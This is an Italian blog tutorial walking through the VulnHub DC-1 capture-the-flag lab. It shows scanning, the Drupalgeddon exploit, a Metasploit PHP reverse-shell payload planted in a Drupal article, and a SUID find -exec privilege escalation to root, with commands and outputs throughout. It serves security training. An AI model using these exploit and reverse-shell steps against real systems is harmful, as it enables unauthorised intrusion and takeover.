Proprio per iniziare questa serie di tutorial sulle DC, ecco che partiamo con la numero uno, la DC-1 (scaricabile dal sito di vulnhub).
Piccola premessa: non è molto importante il vostro sistema operativo su cui è basato il vostro computer personale, ma per poter sfruttare al meglio queste macchine virtuali occorre che abbiate installato il software "Virtualbox" (scaricabile da qui: ) nella versione più addatta al vostro SO (ce ne è per tutti i gusti!). Fatto ciò, dovrete semplicemente aprire virtualbox e selezionare dal menu "Importa applicazione virtuale", scegliere poi il download della macchina virtuale DC-1 che avete fatto dal sito di vulnhub e aspettare che la procedura abbia termine.
Quando tutto sarà finito, presumibilmente avrete una macchina virtuale chiamata DC-1 con un piccolo harddisk virtuale credo apposta per far partire la macchina e caricare il nuovo sistema operativo.
Se ora lanciate la macchina virtuale DC-1, vederete che Virtualbox aprirà in una nuova finestra l'output video di DC-1 che si caricherà lasciandovi poi con una schermata di autorizzazione per entrare nel sistema operativo.
Scopo nostro per questa esercitazione è quello di riuscire a raggirare il login ed entrare nel sistema anche senza conoscere le vere credenziali.
Per poterlo fare, ci avvaliamo dell'uso di Kali Linux caricato anche lui tramite Virtualbox.
Bene, fatte le premesse, direi che possiamo iniziare! Quindi, diamo gas a Kali Linux e a DC-1 (attenzione alla ram! DC-1 non ne consuma molta, ma Kali un po' di più ... se ne avete già poca di default, controllate solamente i livelli di utilizzo perché è possibile che, durante processi molto impegantivi, che sono piuttosto rari in realtà in questa occasione, il vostro sistema operativo possa diventare non molto responsivo ...)
Per prima cosa, occorre capire quale sia l'indirizzo IP che ha preso DC-1. Nelle impostazioni di Virtualbox per la DC-1, consiglio di mettere l'opzione "Scheda con Bridge": in questa maniera, riesce a prende un indirizzo IP direttamente dal vostro router, così non dobbiamo lavorare con delle sotto reti ... dipende tutto poi dalle configurazioni del vostro router!
Se avete deciso per l'opzione "Scheda con bridge", allora vi consiglio di fare così: prendete il "vostro" indirizzo IP, cioè quello del vostro pc, supponiamo che sia 100.110.120.136. Ora, azzerate l'ultima cifra e, aprendo il terminale su Kali Linux ed usando il comando netdiscover scrivete:
netdiscover -p 100.110.120.0/24
In questo modo, stiamo facendo uno scan della nostra rete per tutti gli indirizzi che vanno dal 100.110.120.0 - 100.110.120.255 per trovare la nostra DC-1.
Possiamo riconoscere l'IP giusto guardando nell'ultima colonna a destra della finestra di netdiscover: se non riconoscete una vostra perifericha attaccata al web, è molto probabile che sia DC-1.
Salvate questo indirizzo IP trovato nel file ``etc/hosts`` in questo modo: alla fine del documento in etc, andate a capo e scrivete:
indirizzo_ip_trovato dc1
dove al posto di indirizzo_ip_trovato ci mettete quello che avete appena scoperto tramite netdiscover.Per modificare il file, è possibile usare il comando:
nano etc/hosts
muoversi con le freccette, scrivere e poi usare la combinazione CTRL+X, dove vi chiederà di salvare prima di uscire.Fatto ciò, ora possiamo riferirci all'indirizzo IP di DC-1 semplicemente come "dc1", provate infatti a scriverlo nel browser, esso vi porterà immediatamente da
http://dc1 -> http://indirizzo_ip_trovato
Il file etc/hosts è soltanto un file di traduzione di indirizzi internet (una sorta di DNS locale) che ha la precedenza sui veri server DNS a cui ci si appoggia abitualmente, per cui alla fine delle nostre operazioni, possiamo tornare a modificarlo e cancellare l'indirizzo ip della DC-1.
Ora, una volta trovato l'indirizzo IP, non ci resta che analizzare le porte aperte e il server web che gira su DC-1. Per fare tutto questo, ci vengono in aiuto 3 comandi fondamentali.
NMAP
NMAP serve per fare una scan di tutte le porte aperte presenti ad uno specifico indirizzo IP, a ciascuna porta corrisponde un specifico servizio web. C'è un elenco prestabilito di determinati servizi collegati a determinate porte, come ad esempio la porta 80 serve per accedere ai siti web tramite HTTP, la 443 la stessa cosa della 80 ma tramite HTTPS (protocollo più sicuro), la 23 è usata per servizi FTP, poi c'è quella per le email, IMAP, POP, ecc...
Cosa ci serve a noi sapere quali sono le porte aperte? Per sapere quali sono i servizi che sono attivi sulla macchina bersaglio e cercare di capire se tali servizi offrono delle vulnerabilità che noi possiamo usare ai nostri scopi.
Ecco il comando che uso di solito e il suo output se fatto puntare a DC-1.
root@kali:~# nmap -sSV -O -A dc1
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-09 03:26 EDT
Nmap scan report for dc1 (indirizzo_ip_trovato)
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36332/udp status
|_ 100024 1 53459/tcp status
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.74 ms dc1 (indirizzo_ip_trovato)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.77 seconds
Così ora siamo in grado di capire che ci sono 3 porte aperte: la 22, la 80 e la 111 usate rispettivamente per: servizio SSH, servizio WebServer (HTTP), servizio rpcbind (sorta di DNS).
Interessante notare come nell'output di NMAP ci siano anche degli ottimi suggerimenti per dove andare a vedere alcune cose interessanti, come ad esempio il file robots.txt che sembrerebbe bloccare la visita di alcuni indirizzi web particolarmente sensibili.
Bene ... allora andiamo a vedere questi indirizzi sensibili! Per prima cosa dirigiamoci sul webserver principale, cioè l'indirizzo http://dc1 per vedere una bella facciata del CMS (Content Management System) Drupal 7, dopo di ché procediamo con gli indirizzi sensibili del tipo: http://dc1/robots.txt ottenendo:
 |
| Contenuto del file robots.txt accessibile al sito: http://dc1/robots.txt |
... interessante quel "/admin/" ...
-> http://dc1/admin :: Accesso non consentito!
 |
| http://dc1/admin |
Va bene, va bene ... potevamo aspettarcelo, non abbiamo ancora fatto nulla ...
Usiamo altri due comandi molto utili. di seguito riporto anche l'output:
root@kali:~# whatweb dc1
http://dc1 [200 OK] Apache[2.2.22], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Debian Linux][Apache/2.2.22 (Debian)], IP[indirizzo_ip_trovato], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.4.45-0+deb7u14], PasswordField[pass], Script[text/javascript], Title[Welcome to Drupal Site | Drupal Site], UncommonHeaders[x-generator], X-Powered-By[PHP/5.4.45-0+deb7u14]
root@kali:~# nikto -h dc1
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: indirizzo_ip_trovato
+ Target Hostname: dc1
+ Target Port: 80
+ Start Time: 2019-07-09 15:41:02 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Retrieved x-powered-by header: PHP/5.4.45-0+deb7u14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /robots.txt, inode: 152289, size: 1561, mtime: Wed Nov 20 15:45:59 2013
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 36 entries which should be manually viewed.
+ OSVDB-39272: /misc/favicon.ico file identifies this app/server as: Drupal 7.x
Qui adesso iniziamo ad avere diverse strade che si diramano e per ciascuna è possibile arrivare alla fine.
Uno potrebbe attuare un attacco di tipo brute-force sul campo login/password dell'account di Drupal oppure fare in questa maniera:
Dall'output di nikto sembrerebbe che il server su cui gira DC-1 si appoggi a Drupal 7. Ottimo. Drupal 7 è vulnerabile all'attacco Drupalgeddon.
Come faccio a dirlo?
 |
| Output di "searchsploit" |
Quindi tiriamoci giù il file in questo modo:
root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/34992.py > drupalgeddon.py
e lanciamo drupalgeddon.py:
root@kali:~#python drupalgeddon.py
Ci apparirà allora il modo in cui si utilizza Drupalgeddon e cioè:
Usage: test.py -t http[s]://TARGET_URL -u USER -p PASS
e quindi, dopo aver pensato ad un username e ad una password, il comando completo sarà:
root@kali:~#python drupalgeddon.py -t http://dc1 -u ciao -p ciao
e l'output, se tutto è andato correttamente, sarà:
[!] VULNERABLE!
[!] Administrator user created!
[*] Login: ciao
[*] Pass: ciao
[*] Url: http://dc1/?q=node&destination=node
Ora non resta che inserire la combinazione username/password scelta al passo precedente per entrare dentro al sito web dc1.
 |
| Siamo dentro come utente "ciao" e password "ciao" |
SIAMO DENTRO!!
Bene, e ora?!
Ora dobbiamo usare la testa: dove siamo arrivati? Cosa abbiamo fatto esattamente e come?
Al momento, siamo in grado di accedere ad una area riservata sul sito web http://dc1 a cui soltanto admin e altri username registrati possono accedere (fra i quali noi siamo esclusi a priori ovviamente).
Abbiamo sfruttato una vulnerabilità del CMS Drupal 7 e una applicazione costruita da (chiamata simpaticamente "Drupalgeddon") per riuscire ad inserire in quell'elenco di privilegiati il nostro username con la nostra password inventata di sana pianta. Ma questo vuol dire che siamo dentro al sistema? No, per niente! Abbiamo soltanto il potere di visualizzare la dashboard e altri contenuti altrimenti protetti del web server che sta girando sulla macchina.
No, non siamo ancora "dentro", ma ci siamo molto vicini.
Abbiamo adesso il potere di modificare a nostro piacimento il contenuto delle pagine web del sito http://dc1; magari ora vi starete chiedendo: e cosa posso farci di così tanto strano?
State a vedere.
Per prima cosa navighiamo fra i contenuti, per vedere se chi ha fatto questa macchina virtuale ha lasciato in giro qualche indizio utile al nostro scopo.
Per dare una curiosata in giro, clicchiamo quindi su "dashboard" dalla barra del menù in alto e vediamo comparire un popup con ben 2 articoli, un "Main" scritto da Fred (un utente quindi si chiama Fred) e un altro articolo chiamato "Flag3" scritto dall'utente "admin".
Abbiamo catturato la nostra prima bandiera, Flag3, la quale, all'indirizzo
http://dc1/node/2#overlay-context=node/1 ci dice:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
Questo è un aiuto molto prezioso, ma che purtroppo ora non ci può servire in alcun modo. Concentriamoci su come possiamo far dialogare Kali Linux e DC-1 avendo solo il permesso di modificare alcune pagine web di un webserver che sta girando sulla DC-1.
Nessuna idea in mente?
Bene, allora propongo una mia versione per la prossima decisione, e cioè quella di usare il PHP!
Il PHP, per chi non lo sapesse, è un linguaggio di programmazione lato server che viene fatto girare prima che la pagina HTML venga renderizzata e fatta vedere al client, così si possono creare dei contenuti dinamici in maniera veloce e semplice. Ma per usare il PHP per i nostri scopi, non dobbiamo per forza conoscerlo .... come vi chiederete? Ebbene, guardate.
Per prima cosa, occorre abilitare il PHP all'interno di Drupal 7, per farlo basta effettuare una piccola ricerca online per capire subito cosa fare, in particolare dobbiamo attivare il "php filter" situato in "Modules" (accanto alla Dashboard dalla barra in alto del menù).
In questo popup, andiamo a flaggare alla voce "PHP FILTER", e poi "Save configuration", il pulsante alla fine del popup.
Apparirà la scritta:
A PHP code text format has been created.
The configuration options have been saved.
Così abbiamo solamente abilitato la possibilità di creare dei file in PHP e di farli girare non appena un client ci si connette.
Cosa dobbiamo scriverci nei file PHP? Dobbiamo chiederlo a Metasploit, un framework ben organizzato per attacchi di diversi tipi.
Qui dovremmo utilizzare il modulo d'attacco denominato "php/meterpreter_reverse_tcp" per poter scrivere una pagina in php che si connetta automaticamente a livello di shell ad una connessione tcp ad un indirizzo e una porta scelti da noi stessi.
Digitiamo nella nostra shell il comando "msfconsole" per far partie "MetaSploit Framework Console", con il quale generare il nostro payload ("payload"=codice maligno da installare in un sistema remoto e attraverso cui accedere a tale sistema).
Per generare il nostro payload, prima decidiamo di usare il suo modulo con il comando:
msf5 > use payload/php/meterpreter_reverse_tcp
Per vedere tutte le opzioni che questo modulo offre, digitiamo:
msf5 payload(php/meterpreter_reverse_tcp) > options
Module options (payload/php/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Quindi dobbiamo settare una variabile LHOST e LPORT (cioè "Listening HOST" e "Listening PORT"), ossia l'indirizzo IP e la porta a cui vogliamo che il nostro payload si connetta.
Andiamo a prenderci il nostro indirizzo IP dal comando "ifconfig" e settiamolo in msf5 con:
msf5 > set LHOST indirizzo_ip_di_Kali_Linux
La porta possiamo lasciarla tranquillamente a 4444 (valore di default per questo payload).
Una volta settati tutti i parametri, generiamo l'exploit da caricare poi su Drupal 7 con il comando:
msf5 payload(php/meterpreter_reverse_tcp) > generate -f raw -o payload_dc1.php
Quest'ultimo comando ci genererà un file chiamato "payload_dc1.php" nella attuale cartella di lavoro in formato "raw", in questo caso puro php.
Purtroppo il codice non è già pronto da "mangiare", ma dobbiamo semplicemente decommentare le parole "" alla fine per ottenere un vero e proprio file scritto in PHP.
Una volta messo a punto il nostro payload, carichiamolo su Drupal 7 con la seguente procedura:
1) Dalla barra del menù, clicchiamo su "Content"
2) Nel popup clicchiamo su "Add Content"
3) Scegliamo "Article"
4) Scegliamo come "Text Format" il PHP
5) Mi sono dimenticato di abilitare l'opzione per il punto 4: lasciate quindi tutto così e torniamo in "Modules" -> "PHP Filter" e clicchiamo su "permissions" a destra della voce "PHP Filter".
5.1) Dopo di che scorriamo fino a "Filter" -> "Use the PHP Code text format" e flagghiamo l'opzione sotto "Administrator" (penultima colonna a destra)
5.2) Scorriamo tutta la pagina fino a "Save Permissions".
5.3) Ripetiamo dal passo 1) e saltiamo il passo 5).
6) Copiamo ed incolliamo il nostro payload in php "payload_dc1.php" nella textarea del articolo. Per farlo, una maniera un po' da smanettoni è questa:
Per copiare il contenuto del file utilizziamo il seguente comando da terminale:
cat payload_dc1.php | xclip -sel clip
Dopodiché possiamo tranquillamente andare su Drupal e con CTRL+V copiare l'intero file, avendo cura che inizi con il tag "<?php" e finisca con il tag "?>".
Prima di salvare, ricordiamoci di dargli un titolo, come ad esempio "miotitolo" e chiudiamo l'operazione con il salvataggio finale.
Quando salviamo, Drupal ci reindirizza automaticamente al nuovo contentuo appena creato, che quindi sarà una pagina bianca finché non saranno effettuate delle connessioni per cui il codice PHP blocca l'esecuzione della pagina fintanto che cerca queste connessioni.
Noi possiamo quindi metterci in ascolto sulla porta 4444 di Kali Linux per vedere che cosa salta fuori:
Per farlo, torniamo su msfconsole ed usiamo il comando:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST indirizzo_ip_di_Kali_Linux
LHOST => indirizzo_ip_di_Kali_Linux
msf5 exploit(multi/handler) > exploit
... diamo una rinfrescata alla pagina appena creata ... e ...
[*] Started reverse TCP handler on indirizzo_ip_di_Kali_Linux:4444
[*] Meterpreter session 1 opened (indirizzo_ip_di_Kali_Linux:4444 -> dc1:45255) at 2019-07-09 16:53:18 -0400
meterpreter >
... BOOM! Siamo di nuovo DENTRO!
Stavolta più dentro di prima. Ora abbiamo appena creato un ponte fra una shell di DC-1 e una nostra shell di Kali Linux (gestita da meterpreter), e tutto quello che digitiamo nella nostra shell finirà per essere interpretato come comandi di shell dal computer DC-1.
FORTISSIMO, no?!??
Ora possiamo veramente lavorare a livello di shell usando il comando:
meterpreter > shell
Process 2445 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
Aggiorniamo la shell per averne una migliore con più opzioni (per rendere ad esempio disponibili i comandi "su" e "sudo" che potrebbero sempre venire comodi) usando del python:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$
Ora sì che siamo dentro alla macchina DC-1!!!
Siamo esattamente un utente che si chiama "www-data" e al momento puntiamo alla cartella chiamata /var/www, che è quella su cui gira il webserver in Drupal da cui ci siamo infiltrati con Drupalgeddon e poi il payload in PHP.
Ora viene la parte che prende il nome di "privilege Escalation", cioè quella parte dell'hacking che si focalizza al fine esclusivo di ottenere i permessi di root a livello macchina e poter quindi cambiare a proprio piacimento qualsiasi tipo di configurazione si voglia.
Prima però qualche bandiera:
ls
...
...
flag1.txt
...
...
cat flag1.txt
Every good CMS needs a config file - and so do you.
Andiamo allora nei settaggi di Drupal, ed esattamente alla cartella
cd var/www/sites/default
dove vi è contenuto il file settings.php. Leggiamolo per ottenere la seconda bandiera:
head settings.php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
E adesso come già detto in precedenza, ci troviamo di fronte ad un altro bivio fra i molteplici che sono riuscito a trovare: possiamo dare retta alla seconda bandiera e andare a cercare il database mysql, usare le credenziali qui sopra scritte e vedere cosa c'è dentro (qualche hash da decrittare), oppure dare retta alla terza bandiera (flag3 cioè, la prima che abbiamo trovato) per cercare dei commandi che possono venirci utili.
Con il comando
find / -perm -u=s -type f 2>/dev/null
cerchiamo tutti i files ("-type f") che abbiano il bit di permesso straordinario settato a "s" ("SEUID"), cioè che durante l'esecuzione possono ereditare i permessi di "root" e liberamente accessibili da qualunque utente (quindi, quando viene fatto girare questo comando, l'utente senza permessi straordinari può ottenere temporaneamente i permessi di root!).
 |
| Cercando i files con il permesso "s" per utente |
 |
| Output da: find . -exec "/bin/bash" \; |
Questo ci lascerà con una shell sh nuova in cui saremo sempre www-data, ma avremo permessi di root per accedere a tutto il sistema e modificarlo a nostro piacimento!
Abbiamo quindi finito la nostra scalata ai permessi di root, poiché da questo momento in poi siamo padroni totali della macchina DC-1.
FORTISSIMOOO!! :-)
Allora non perdiamo tempo, e visualizziamo subito cosa c'è dentro la nostra home
ls /home
e analizziamo la cartella dell'utente flag4:
ls /home/flag4
cat home/flag4/flag4.txt
Poi analizziamo la cartella root:
ls /root
cat /root/thefinalflag.txt
... FINITO! :-) :-)
Abbiamo conquistato tutte le bandiere che siamo riusciti a trovare, nonché i permessi di root. Ora ad esempio potremmo inserire un nuovo utente con una nuova password all'interno del sistema operativo di DC-1 così che possiamo finalmente superare il login utente, oppure divertirci a craccare gli hash delle password dell'utente flag4 (situate in /etc/passwd o in /etc/shadow) o qualsiasi altra cosa ci venga in mente di fare ... la possiamo fare!
Spero vi siate divertiti come me, che abbiate imparato nuove cose e che sia stato tutto chiaro.
Se avete qualche domanda, lasciateci qui sotto dei commenti così possiamo rispondere a tutti i vostri quesiti!!
Ecco un riassunto di tutte le bandiere che abbiamo trovato durante il nostro percorso:
1 - flag3 dentro al sito in Drupal 7
http://dc1/node/2
FLAG3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how
to get what's in the shadow.
2 - flag1.txt nella cartella var/www
/var/www/FLAG1.txt
Every good CMS needs a config file - and so do you
3 - flag2 dentro a var/www/sites/default/settings.php
/var/www/sites/default/settings.php
* FLAG2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
4 - Nella cartella home dell'utente flag4
/home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
5 - Nella cartella di root.
/root/thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
A presto!!!!
Nessun commento:
Posta un commento